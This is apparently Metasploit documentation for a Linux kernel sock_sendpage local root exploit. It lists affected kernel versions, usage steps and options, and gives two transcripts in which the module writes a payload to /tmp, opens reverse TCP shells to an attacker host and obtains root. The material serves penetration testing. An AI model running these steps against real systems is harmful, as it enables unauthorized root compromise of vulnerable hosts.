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metasploit-framework/documentation/modules/exploit/linux/local/sock_sendpage.md

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Description

The Linux kernel failed to properly initialize some entries in the proto_ops struct for several protocols, leading to NULL being dereferenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel.

Vulnerable Application

Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

All Linux 2.4/2.6 versions since May 2001 are believed to be affected:

  • 2.4.4 up to and including 2.4.37.4
  • 2.6.0 up to and including 2.6.30.4

This module has been tested successfully on:

  • CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
  • Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386

Verification Steps

  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/sock_sendpage
  4. set SESSION [SESSION]
  5. check
  6. run
  7. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /tmp)

DEBUG_EXPLOIT

Enable exploit debug messages. (default: false)

Scenarios

CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5

msf > use exploit/linux/local/sock_sendpage 
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > set verbose true
verbose => true
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/sock_sendpage) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] Kernel version 2.6.18 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 172.16.191.159
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.159
OS           : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386

msf > use exploit/linux/local/sock_sendpage 
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] Kernel version 2.4.27 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Sending stage (36 bytes) to 172.16.191.227
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
[!] Tried to delete /tmp/.69p3FeagB, unknown result

3356110123
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LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
id
uid=0(root) gid=0(root) groups=100(users)
uname -a
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux